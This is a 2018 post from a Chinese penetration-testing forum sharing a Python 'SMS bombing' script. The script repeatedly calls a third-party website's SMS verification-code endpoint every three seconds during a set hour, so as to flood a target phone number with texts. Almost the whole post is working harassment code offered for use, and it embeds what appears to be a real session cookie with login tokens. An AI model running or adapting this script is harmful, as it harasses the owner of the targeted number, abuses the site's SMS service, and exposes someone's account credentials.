中国网络渗透测试联盟
标题:
Python版短信轰炸定时攻击版
[打印本页]
作者:
admin
时间:
2018-10-20 20:33
标题:
Python版短信轰炸定时攻击版
#!/usr/bin/python
#coding=utf-8
import os
import datetime
import time
import requests
def main():
while True:
now = datetime.datetime.now()
xiaoshi = now.hour
fenzhong = now.minute
xhour = 10
yhour = 11
#xminute = 10
#yminute = 58
# print(xiaoshi,fenzhong,type(xiaoshi),type(fenzhong))
#while xminute <= fenzhong <= yminute:
while xhour <= xiaoshi <= yhour:
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0',
'Cookie': 'BIDUPSID=A42CA66BAABF2D1B7D862DDBEF8DE632; PSTM=1509949825; BAIDUID=A42CA66BAABF2D1B7D862DDBEF8DE632:SL=0:NR=50:FG=1; __cfduid=d93b9bd190e946b73984e3d60125705501513672771; BDUSS=2tObm40NGh5cDVlQmpiMURkbHg3OVU5S1JjMUd2WVVjQ1pCeFlCdS02ckpTUzliQVFBQUFBJCQAAAAAAAAAAAEAAAAefHgBcWlueGlhb3Blbmc0NTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMm8B1vJvAdbS; MCITY=-327%3A; BDSFRCVID=4l4sJeC624Ihykn7hEqTJCqhEmK2PerTH6ao4J2X6nnzzDda9KrQEG0Pqx8g0Ku-jY-KogKKyeOTHu3P; H_BDCLCKID_SF=tJA8_DP2tI83fP36q6LaejvH-UIstJJC-2Q-5KL-bxJEbh0RjIcJ2xKpLpQ304riJI8q-UbdJJjoSDbbXlrYyMLJKh7TLqjKMeTxoUJ_5DnJhhvG-x42bbLebPRih4Q9QgbtoMtLtC0BMItCDju3-PAt-U4X5470M6TXsJOOaCk2OpbRy4oTj6DdhUobqTtfHmoxWpcn-RnpDqkCytOG3MvB-fn-QqcILIAHbhQLtJOfHJvsQft20M0EeMtjBbQaQeKHsR7jWhvBeq72yb_505TLjNufJTKDfR32WnTJ25rHDbTw5tI_-P4DenJqBRJZ5mAqoqOO5R-WhI0zXlQhyxtLM-oLB55A5N6naIQqWR5CofjM-T56QRTX-UOKaM743bRTKnLy5KJvfJoKyjKVhP-Uypr-Wh37bR7TVD_ytI_bMDDr5nJbqRkthxT--I62aKDsBt8y-hcqEIL4WRbD-xKpjgcwt63Z0563KR6DLJbfDxbSj4QoqjLD0hOCtpcGKGvkVR5pJh5nhMJeb67JDMP0qf6kexny523iXR5vQpnhhUtuDjAhejO0DHusKP6e-IObsJOsa-5fK4bNh4bqhR3H-UnLqM3CbT7Z0l8Ktt38SRjLh6tV0bOXy4bDaUQL2ItJLUomWIQHDnnFyPvnqfK05UID-JTJLKo4KKJx3nLWeIJo5t5ojPnQhUJiBbc-Ban7LCOxfD_WhK_6jjL35n-Wql702t6-bPo2WbCQ3xbUqpcNLUbWQTtF5n6at-Dj2Tc7hUJOBlTisInMqJ5t0MANDPCEJjkjtJktoCv5b-0_JbTkh4oMq4tehH4J2T3eWDTm_D_2WRnBjnu6MMoa3MIdKf742xPHLITH-pPKKRAMOCoyj4T_2RIvbML8BbjI3mkjbPjyfn02OPKzMluVyP4syPR8KxRnWTIebIcJ-J8XhDDxj6oP; PSINO=1; H_PS_PSSID=; BDORZ=FFFB88E999055A3F8A630C64834BD6D0; Hm_lvt_c37ef181e05da9d936de2ed835125647=1531294843; Hm_lpvt_c37ef181e05da9d936de2ed835125647=1531295181', 'Referer': 'http://9kb.org/apply'}
payload = {'m1': '1329', 'm2': '9999999'}
r = requests.get(' http://9kb.org/doctor/ajax/sendsmscode',params=payload,headers=headers)
time.sleep(3)
#i +=1
#print(r.url)
ww=datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print('Attack success!Good luck!',ww)
break
if __name__ == '__main__':
main()
复制代码
程序的主要流程是从10开始攻击到11点,每3秒攻击一次
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2